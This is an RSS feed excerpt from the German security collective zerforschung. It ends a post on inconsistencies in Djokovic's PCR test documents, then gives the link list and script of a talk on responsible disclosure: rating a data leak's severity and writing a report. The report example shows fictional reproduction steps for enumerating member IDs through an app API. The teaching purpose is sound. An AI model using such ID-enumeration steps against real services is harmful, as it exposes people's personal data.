&lt;p&gt;This number fits much better if we believe the timestamp and assume 12/26 as the date of the positive test: Because between 12/22 and 12/26 &lt;a href=&#34;https://ourworldindata.org/explorers/coronavirus-data-explorer?zoomToSelection=true&amp;amp;time=2021-12-22..2021-12-26&amp;amp;facet=none&amp;amp;pickerSort=asc&amp;amp;pickerMetric=location&amp;amp;Metric=Tests&amp;amp;Interval=Cumulative&amp;amp;Relative+to+Population=false&amp;amp;Color+by+test+positivity=false&amp;amp;country=~SRB&#34;&gt;about 50,000 tests were reported&lt;/a&gt; – thus fitting many to the documents at hand.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/djokovic-pcr-test/serbia-tests-22-26.jpg&#34; alt=&#34;Table of the performed tests in serbia between the 22nd of december and the 26 of december 2021. 51081 tests were performed in this time.&#34;&gt;&lt;/p&gt;
&lt;p&gt;But there seems to be more wrong with these test results&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-align=&#34;center&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;For timeline completeness:&lt;br&gt;&lt;br&gt;Djokovic produced a negative PCR test dated December 22nd. &lt;a href=&#34;https://t.co/Kqmey80nPw&#34;&gt;pic.twitter.com/Kqmey80nPw&lt;/a&gt;&lt;/p&gt;&amp;mdash; Ben Rothenberg (@BenRothenberg) &lt;a href=&#34;https://twitter.com/BenRothenberg/status/1480449881936306178?ref_src=twsrc%5Etfw&#34;&gt;January 10, 2022&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;p&gt;And with that, we pass on to the weather. 🌤️&lt;/p&gt;
&lt;h2 id=&#34;update&#34;&gt;Update&lt;/h2&gt;
&lt;p&gt;On HackerNews someone gave a plausible explanation for the timestamps:
They are regenerated when you download the PDF with the result.&lt;/p&gt;
&lt;p&gt;This explains the inconsistencies in the timestamps – but not in the confirmation codes – because they remain the same.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://news.ycombinator.com/item?id=29894843&#34;&gt;https://news.ycombinator.com/item?id=29894843&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And the inconsistencies also exists in them. The confirmation codes are ascending, so the result from the 16th should have a lower number than the one from 22nd. However, &lt;a href=&#34;#somethingswrong&#34;&gt;it is the other way around&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;If you like what we do and want to support us, you can check out our &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;support page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To stay up to date, follow us on &lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;Twitter&lt;/a&gt; or subscribe to our &lt;a href=&#34;https://zerforschung.org/index.xml&#34;&gt;RSS feed&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Deine Software, die Sicherheitslücken und ich</title>
      <link>https://zerforschung.org/posts/rc3-2021/</link>
      <pubDate>Tue, 28 Dec 2021 17:45:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/rc3-2021/</guid>
      <description>&lt;p&gt;&amp;ldquo;Verdammt, ich habe eine Sicherheitslücke gefunden&amp;rdquo; – das haben wir uns in diesem Jahr immer wieder gedacht. Was wir dabei gelernt haben, haben wir für einen Talk auf dem &lt;a href=&#34;https://fahrplan.events.ccc.de/rc3/2021/Fahrplan/&#34;&gt;rc3&lt;/a&gt; zusammengefasst; um euch zu helfen und die Frage zu beantworten: Was tun? Hier findet ihr einen Link zum Video, eine Linkliste zum Talk und das Skript.&lt;/p&gt;
&lt;p&gt;Wir erzählen euch, was wir vor dem Melden unserer ersten Sicherheitslücke gerne gewusst hätten. Und wir beantworten Fragen wie: Was ist eigentlich Responsible Disclosure? Wie mache ich das richtig?&lt;/p&gt;
&lt;p&gt;Außerdem wollen wir einen Blick werfen auf Fälle, in denen sich Menschen unmöglich verhalten haben. Denn dieses Jahr gab es leider auch mehrere Fälle, bei denen die schlimmsten Befürchtung eines Responsible-Disclosure-Prozesses eingetreten ist: Eine Anzeige. Allerdings nicht gegen das Unternehmen, das kriminell schlechte Software gebaut hat, sondern gegen die Finder*innen von Sicherheitslücken. Daher wollen wir auch einen Blick darauf werfen, wie Unternehmen richtig mit ihnen gemeldeten Sicherheitslücken umgehen können.&lt;/p&gt;
&lt;h2 id=&#34;zerforschung-zum-angucken&#34;&gt;zerforschung zum Angucken&lt;/h2&gt;
&lt;p&gt;Den aufgezeichneten Talk könnt ihr euch hier anschauen:&lt;/p&gt;
&lt;div class=&#34;media-ccc-wrapper&#34;&gt;
&lt;iframe width=&#34;100%&#34; src=&#34;https://media.ccc.de/v/rc3-2021-xhain-278-deine-software-die-si/oembed&#34; frameborder=&#34;0&#34; allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;h2 id=&#34;links&#34;&gt;Links&lt;/h2&gt;
&lt;h3 id=&#34;was-wir-im-talk-erwähnt-haben&#34;&gt;Was wir im Talk erwähnt haben&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.ccc.de/hackerethik&#34;&gt;Hacker*innenethik&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;software&#34;&gt;Software&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/WordPress&#34;&gt;WordPress&lt;/a&gt; (ein Content Management System)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Moodle&#34;&gt;Moodle&lt;/a&gt; (eine Lernplattform)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;sicherheitslücken&#34;&gt;Sicherheitslücken&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Log4j#Bekanntwerden_einer_Sicherheitsl%C3%BCcke_im_Dezember_2021&#34;&gt;Log4Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Heartbleed&#34;&gt;Heartbleed&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;achtung&#34;&gt;Achtung&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Geheimhaltungsvertrag&#34;&gt;NDA&lt;/a&gt; (= non-disclosure agreement; Geheimhaltungsvertrag)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Bug-Bounty-Programm&#34;&gt;Bug-Bounty-Programm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;eigene-forschungen&#34;&gt;Eigene Forschungen&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://zerforschung.org/posts/meinschnelltest/&#34;&gt;Schnelltest Berlin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://zerforschung.org/posts/studysmarter/&#34;&gt;Lernkarten-App StudySmarter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://zerforschung.org/posts/&#34;&gt;Bisherige zerforschungen im Überblick&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;offizielle-anlaufstellen&#34;&gt;Offizielle Anlaufstellen&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.bsi.bund.de/Schwachstellenmeldung&#34;&gt;BSI-Schwachstellenmeldeformular&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://cert-bund.de/&#34;&gt;CERT-Bund&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.bsi.bund.de/DE/Home/home_node.html&#34;&gt;BSI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;kontakte&#34;&gt;Kontakte&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;disclosure [at] ccc.de&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;mailto:hallo@zerforschung.org&#34;&gt;hallo@zerforschung.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;zerforschung auf Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://twitter.com/linuzifer&#34;&gt;Linus auf Twitter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;rechtliches&#34;&gt;Rechtliches&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://dejure.org/gesetze/DSGVO/9.html&#34;&gt;DSGVO Art. 9&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.gesetze-im-internet.de/stgb/__202a.html&#34;&gt;StGB 202a, der &amp;ldquo;Hackerparagraph&amp;rdquo;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Vorbereiten_des_Aussp%C3%A4hens_und_Abfangens_von_Daten&#34;&gt;Hintergrund zum Hackerparagraphen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://media.ccc.de/v/c4.openchaos.2018.09.sie-haben-das-recht-zu-schweigen&#34;&gt;Talk von Udo Vetter: &amp;ldquo;Sie haben das Recht zu Schweigen&amp;rdquo;&lt;/a&gt; von 2018&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://media.ccc.de/v/35c3-9716-du_kannst_alles_hacken_du_darfst_dich_nur_nicht_erwischen_lassen&#34;&gt;Talk von Linus Neumann und Thorsten Schröder: Du kannst alles hacken, du darfst dich nur nicht erwischen lassen&lt;/a&gt; von 2018&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;besonders-unfreundliche-menschen&#34;&gt;Besonders unfreundliche Menschen&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.zeit.de/digital/datenschutz/2021-08/cdu-connect-app-it-sicherheit-lilith-wittmann-forscherin-klage&#34;&gt;CDU&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/Frontex#Vorf.C3.A4lle.2C_Menschenrechtsverletzungen.2C_Kritik&#34;&gt;Frontex&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;wissenschaftliche-beiträge&#34;&gt;Wissenschaftliche Beiträge&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://sec4research.de/&#34;&gt;Rechtlicher Reformbedarf aus Sicht der angewandten Sicherheitsforschung&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://it-forensik.fiw.hs-wismar.de/index.php/Tassilo_Thieme&#34;&gt;Tassilo Thieme, Masterthesis: Heureka! Von der Schwachstellenfindung bis zur Veröffentlichung: Entwicklung eines Coordinated Vulnerability Disclosure Prozesses für kleine und mittelständische IT-Unternehmen&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;weiterführende-links&#34;&gt;Weiterführende Links&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://jugendhackt.org/blog/wie-gehe-ich-mit-einer-sicherheitsluecke-um-die-ich-entdeckt-habe/&#34;&gt;Blogbeitrag bei Jugend hackt: Wie gehe ich mit einer Sicherheitslücke um, die ich entdeckt habe?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;skript&#34;&gt;Skript&lt;/h2&gt;
&lt;h3 id=&#34;wer-sind-wir-eigentlich&#34;&gt;Wer sind wir eigentlich?&lt;/h3&gt;
&lt;p&gt;Hey, wir sind pajowu und Lilith von zerforschung – Teil eines großartigen Kollektivs. Dieses Jahr gab es ja einige unschöne Momente für Finder*innen von Sicherheitslücken. Daher wollen wir uns heute mal anschauen, wie der Umgang mit Sicherheitslücken richtig funktioniert – für Finder*innen und die Organisationen, bei denen Lücken gefunden werden.&lt;/p&gt;
&lt;p&gt;Viel Spaß – MAZ ab.&lt;/p&gt;
&lt;h3 id=&#34;richtig-melden&#34;&gt;Richtig melden&lt;/h3&gt;
&lt;h4 id=&#34;full-disclosure-vs-responsible-disclosure&#34;&gt;Full disclosure vs. responsible disclosure&lt;/h4&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Oh wow, das sind alle Daten der Chaos Cat Community. Hey pajowu, soll ich das vertwittern?&lt;/p&gt;
&lt;p&gt;🤷&lt;/p&gt;
&lt;p&gt;Ok dann mach ich das!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Aufmachen, Polizei!&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Stopp – so nicht! Das, was wir jetzt gesehen haben, das war &amp;ldquo;Full Disclosure&amp;rdquo;. Das bedeutet, dass jemand eine Sicherheitslücke findet und diese dann einfach vollständig veröffentlicht. Das kann euch in richtig krasse Schwierigkeiten bringen und ist vor allem gefährlich für die Menschen, deren Daten dadurch öffentlich werden.&lt;/p&gt;
&lt;p&gt;Und es ist auch einfach nicht cool. Es gibt schon einen Grund, warum es ja auch in der Hacker*innen-Ethik heißt: Öffentliche Daten nützen, &lt;em&gt;private Daten schützen&lt;/em&gt;. Um diesen 2. Punkt geht es uns heute.&lt;/p&gt;
&lt;p&gt;Denn wir beschäftigen uns heute mit Responsible Disclosure. Also dem Prozess, wie ihr dem Softwarehersteller bescheid sagt, dass ihr dort eine Sicherheitslücke gefunden habt. Es spricht nix dagegen, die Lücke hinterher trotzdem zu veröffentlichen. Aber halt erst, wenn der Hersteller sie geschlossen hat und alle Risiken behoben sind.&lt;/p&gt;
&lt;p&gt;Und wie man das richtig macht – das schauen wir uns jetzt einmal an.&lt;/p&gt;
&lt;h4 id=&#34;was-ist-ein-relevantes-datenleck&#34;&gt;Was ist ein relevantes Datenleck?&lt;/h4&gt;
&lt;p&gt;Nicht alles, was im Internet kaputt ist, ist auch direkt ein Datenleck. Trotzdem wollen wir uns heute wirklich nur um die kümmern – also genau diese &lt;em&gt;eine&lt;/em&gt; Art von Sicherheitslücken: Wo es Datenabflüsse in Onlinediensten gibt.&lt;/p&gt;
&lt;p&gt;Wir fokussieren uns heute auf Dienste, Apps und Webseiten, die nur von einem Hersteller betrieben werden.
Also wir meinen damit keine Standardsoftware wie etwa Wordpress oder Moodle, die jeder auf seinen eigenen Servern installieren kann.&lt;/p&gt;
&lt;p&gt;Wenn ihr zum Beispiel bei einer Lernkarten-App herausfindet, wie ihr die Namen aller Nutzer*innen abrufen könnt, dann ist dieser Talk genau richtig für euch.&lt;/p&gt;
&lt;p&gt;Wenn ihr das nächste log4shell oder Heartbleed findet, dann müsst ihr ein paar Sachen anders machen, als wir euch das jetzt hier erklären. Das wäre für diesen Talk ein bisschen zu viel – aber da kann euch Linus bestimmt weiterhelfen.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Linus: Ja, das kann ich machen. Schreibt einfach an disclosure [at] ccc.de&lt;/p&gt;
&lt;p&gt;Super, Linus kann euch weiterhelfen.&lt;/p&gt;
&lt;p&gt;Linus: Das habe ich doch gerade gesagt?!&lt;/p&gt;
&lt;p&gt;Ja genau.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Also, wieder zurück zu unserem Thema: Die Datenlücken. Bevor ihr in irgendeine Richtung losrennt, wäre es gut, wenn ihr euch zuallererst überlegt: Wie schlimm ist eigentlich die Lücke.
Davon hängt dann nämlich ab, was ihr tun solltet – und wie schnell.
Es ist total klar: Jede Sicherheitslücke muss gemeldet und behoben werden. Aber genauso klar ist ja auch: Nicht alle Sicherheitslücken sind gleich schlimm.&lt;/p&gt;
&lt;p&gt;Wir schauen uns mal an, wie man das ein bisschen besser einschätzen kann:
Dabei gehts vor allem darum, was das für eine Art Lücke ist, wie viele Menschen betroffen sind und um welche Daten es geht.&lt;/p&gt;
&lt;p&gt;Zuerst: was für eine &lt;strong&gt;Art&lt;/strong&gt; von Lücke ist es?
Könnt ihr die Daten lesen, verändern oder sogar löschen?
In unserem Beispiel geht nur das erste:&lt;/p&gt;
&lt;p&gt;Das ist schon schlimm genug, denn wir können eine Liste aller Namen, Adressen und keine Ahnung was herunter laden.&lt;/p&gt;
&lt;p&gt;Wir können die Liste aber nicht verändern, und zum Beispiel allen den Vornamen pajowu geben.&lt;/p&gt;
&lt;p&gt;Außerdem können wir die Liste nicht löschen. Auch das ist wichtig – denn zur Sicherheit gehört auch, dass die Daten nicht verschwinden können.&lt;/p&gt;
&lt;p&gt;Wenn es um persönliche Daten geht, dann sind die letzten beiden Punkte, Verändern und Löschen der Daten, auch echt ungünstig – aber es ist eigentlich schon schlimm genug, wenn die Vertraulichkeit der Daten verloren geht. Wenn also Menschen Einblicke in Daten haben, die da absolut nix verloren haben – oder anders formuliert: Datenlecks.&lt;/p&gt;
&lt;p&gt;Davon gab es ja dieses Jahr schon genug Fälle. Wir haben zum Beispiel bei vielen Corona-Testzentren, in einigen Audio-Chat-Diensten, sogar in Schul-Apps Sicherheitslücken gefunden. Und überall konnten wir auf die Daten von vielen tausend Personen zugreifen.&lt;/p&gt;
&lt;h4 id=&#34;die-lücke-vermessen--ein-beispiel&#34;&gt;Die Lücke vermessen – ein Beispiel&lt;/h4&gt;
&lt;p&gt;Mal ein Beispiel, vor einiger Zeit haben wir eine Sicherheitslücke bei einem Test-Zentren-Anbieter namens &amp;ldquo;Schnelltest Berlin&amp;rdquo; veröffentlicht.
Die hatten sich so ein tolles System gebaut, bei dem man sich online für seinen Schnelltest registrieren konnte und da dann auch das Testergebnis bekam.
Wir haben uns dort testen lassen und danach mal etwas genauer geschaut, wie das System eigentlich funktioniert.&lt;/p&gt;
&lt;p&gt;Und dabei haben wir eine Schnittstelle gefunden, über die wir eine Liste aller im System registrierten Personen abrufen konnten – und über eine weitere Schnittstelle sogar deren Testergebnis.&lt;/p&gt;
&lt;p&gt;Das waren insgemant fast 700.000 Tests, mit allen Daten: Name, Adresse, E-Mail, Telefonnummer, Personalausweisnummer und sogar das Testergebnis! 400.000 Personen waren betroffen.&lt;/p&gt;
&lt;p&gt;Doch in dem Fall kam es sogar noch schlimmer: Wir konnten nicht nur alle Daten lesen, sondern auch selber Tests im System anlegen und deren Ergebnis speichern.
Wir konnten also für beliebige Personen eintragen, sie hätten einen negativen PCR-Test gemacht – ohne, dass sie je ein Testzentrum von innen gesehen hätten.&lt;/p&gt;
&lt;p&gt;Wir haben das mal versucht - für Robert Koch, geboren 1843.
Gut, dass der Test negativ war. Mit 178 Jahren wäre so eine Corona-Infektion sicher voll gefährlich.&lt;/p&gt;
&lt;p&gt;Damit konnten wir also fremde Daten lesen und neue Daten ins System schreiben. Und – ihr ahnt es schon – wir konnten auch Daten aus dem System löschen. Eine Katastrophe aus Sicht der IT-Sicherheit und der Gesundheit.&lt;/p&gt;
&lt;p&gt;Wenn ihr nun wisst, was ihr mit den Daten machen könnt, geht&amp;rsquo;s weiter mit der Einschätzung, wie viele Personen betroffen sind und welche Daten dieser Personen mehr oder weniger frei rumfliegen.&lt;/p&gt;
&lt;p&gt;Offensichtlich ist eine Lücke mit vielen Betroffenen schlimmer als eine mit wenigen.
Wenn also eine große Anzahl Menschen betroffen ist, sind wir bei Alarmstufe dunkelrot.&lt;/p&gt;
&lt;p&gt;Aber so ganz pauschal kann man das auch nicht sagen. Denn wenn es um höchstprivate Daten geht, dann kann auch schon mit wenigen Betroffenen eine sehr schwere Sicherheitslücke vorliegen. Ein paar Beispiele für solche Daten stehen schon in der Datenschutzgrundverordnung, in Artikel 9. Dazu gehören zum Beispiel Gesundheitsdaten, Daten zur sexuellen Orientierung, weltanschaulichen Überzeugung, Gewerkschaftszugehörigkeit und noch ein paar mehr.&lt;/p&gt;
&lt;p&gt;Wenn es also auch noch besonders sensible Daten sind, dann sind wir bei Alarmstufe dunkel-dunkel-dunkelrot. Und das ist der Punkt, wo wir allerspätestens anfangen sollten, alles, was wir herausgefunden haben, aufzuschreiben.&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Es war einmal in einer Software vor langer Zeit …&amp;rdquo;&lt;/p&gt;
&lt;h4 id=&#34;report-schreiben&#34;&gt;Report schreiben&lt;/h4&gt;
&lt;p&gt;Moooment! Ein Report ist doch kein Roman!&lt;/p&gt;
&lt;p&gt;Also nochmal einen Schritt zurück:
Nehmen wir an, wir haben eine relevante Sicherheitslücke gefunden und wissen durch die Kriterien von eben, wie schlimm sie ist. Und jetzt wollen wir die in einem Responsible Disclosure Verfahren melden.&lt;/p&gt;
&lt;p&gt;Um ehrlich zu sein: Das ist uns jetzt schon sehr oft passiert, aber eine ordentliche Portion Adrenalin haben wir dabei immer noch im Blut. Ist ja auch normal: Da hat man höchstwahrscheinlich gerade Daten anderer Leute gesehen, die man nicht sehen sollte. Da geht der Puls schonmal hoch…&lt;/p&gt;
&lt;p&gt;Deshalb das allerwichtigste ist in so einer Situation, erstmal Ruhe bewahren. Nochmal nachschauen: Habe ich da gerade wirklich Daten anderer Leute gesehen, die ich nicht sehen sollte?&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Guckt einfach nochmal nach&amp;rdquo; klingt aber auch einfacher, als es ist.&lt;/p&gt;
&lt;p&gt;Ganz wichtig dabei: Müllt nicht in den Daten anderer Leute. Das steht schon in der Hacker*innen-Ethik.
Legt euch also, wenn das geht, einen zweiten Account an oder fragt Freund*innen, ob ihr deren Account nutzen könnt.&lt;/p&gt;
&lt;p&gt;Wenn ihr glaubt, das ihr Daten verändern oder löschen könnt, bei denen das nicht möglich sein sollte, dann versucht das logischerweise auf gar keinen Fall an den Daten anderer Leute.&lt;/p&gt;
&lt;p&gt;Wenn dann wirklich alles so ist, wie ihr es vermutet habt, dann geht&amp;rsquo;s ans Schreiben.&lt;/p&gt;
&lt;p&gt;Ihr dokumentiert die Lücke – und das gleich für mehrere Zielgruppen. So ein Dokument geht nämlich üblicherweise durch mehrere Hände: Zuerst kommt es zu Menschen, die nur die ersten Sätze lesen, die aber dafür verantwortlich sind, dass das Dokument bei denjenigen ankommt, die auch den Rest eures Geschreibsels verstehen können. Deswegen sollten die ersten Sätze für alle Menschen verständlich sein und die wichtigsten Fakten müssen rein. Dazu gehört:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wie viele Menschen sind betroffen?&lt;/li&gt;
&lt;li&gt;Welche Daten von diesen Leuten sind betroffen?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Verzichtet dabei möglichst komplett auf technische Details – dafür ist später noch genug Platz.&lt;/p&gt;
&lt;p&gt;Wenn ihr die Lücke auch an offizielle Stellen wie das CERT-Bund oder Datenschutzbehörden meldet, ist es super sinnvoll, direkt auch zu beschreiben, um was für einen Dienst oder Produkt es geht. Das hilft den Stellen nämlich, die Lücke schneller einzuschätzen.&lt;/p&gt;
&lt;p&gt;Zum Beispiel:&lt;br&gt;
Stellen wir uns – rein fiktiv – vor, die Chaos Cat Community hat eine App veröffentlicht, über die die Mitglieder ihre Daten verwalten können. Und die hat eine Sicherheitslücke, die ihr gefunden habt.
Dann könntet ihr zum Beispiel sowas schreiben:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In der Mitglieds-App der Chaos Cat Community können durch eine Sicherheitslücke die Daten aller Mitglieder abgerufen werden. Dazu gehören: Name, Adresse, Bezahlstatus und Impfstatus.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Und den Rest, den schreibt ihr dann für eine technisch halbwegs fitte Zielgruppe. Die wissen, was eine API ist und wie man die benutzt. Schreibt also technisch präzise, aber kurz und verständlich – keine Bachelorarbeit, keinen Roman, eine gute Dokumentation halt. Screenshots können hilfreich sein, das Problem präziser zu beschreiben und nachvollziehbarer zu machen.&lt;/p&gt;
&lt;p&gt;Dabei beschreibt ihr&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;was genau die Sicherheitslücke ist&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In unserem Beispiel könntet ihr schreiben:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ich habe die API der Chaos Cat Community Mitglieder-App aufgerufen und herausgefunden dass ich über den API-Endpunkt &lt;code&gt;/members/{id}&lt;/code&gt; durch das Hochzählen der Mitgliedsnummer (id) persönliche Daten aller Mitglieder abrufen kann.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ein Profil sieht dabei z.B. so aus:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Linus&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;last_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Neumann&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;street&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Marienstrasse 11&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;postal_code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;10117&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Berlin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;paid_until&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2022-12-31&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;vaccinated&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Die Auswirkungen – auch relativ kurz.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Für diesen Fall zum Beispiel:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Durch diese Sicherheitslücke habe ich Zugriff auf die gesammte Mitgliedsdatenbank der Chaos Cat Community. Kann also von allen Mitgliedern Name, Adresse, Geburtsdatum, Bezahlstatus und natürlich dass sie Mitglieder sind erfahren.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das ist zum einen wichtig, damit die Gegenseite schnell verstehen kann, wie schlimm die Lücke ist. Zum anderen hilft es den Aufsichtsbehörden einzuschätzen, ob sie gegen das Unternehmen vorgehen müssen.&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Danach geht es darum, wie man die Lücke nachvollziehen kann.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Beschreibt das in ein paar Sätzen. Wenn ihr ein kurzes Skript habt, das das tut, könnt ihr das da auch einfügen. Sonst beschreibt in klaren Schritten, was man tun muss. Zum Beispiel:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Mitglied der Chaos Cat Community werden&lt;/li&gt;
&lt;li&gt;In der App anmelden, danach den Login-Code merken&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://geheim.katzen.ccc/mitglieder/1337?code={LOGIN_CODE}&lt;/code&gt; aufrufen&lt;/li&gt;
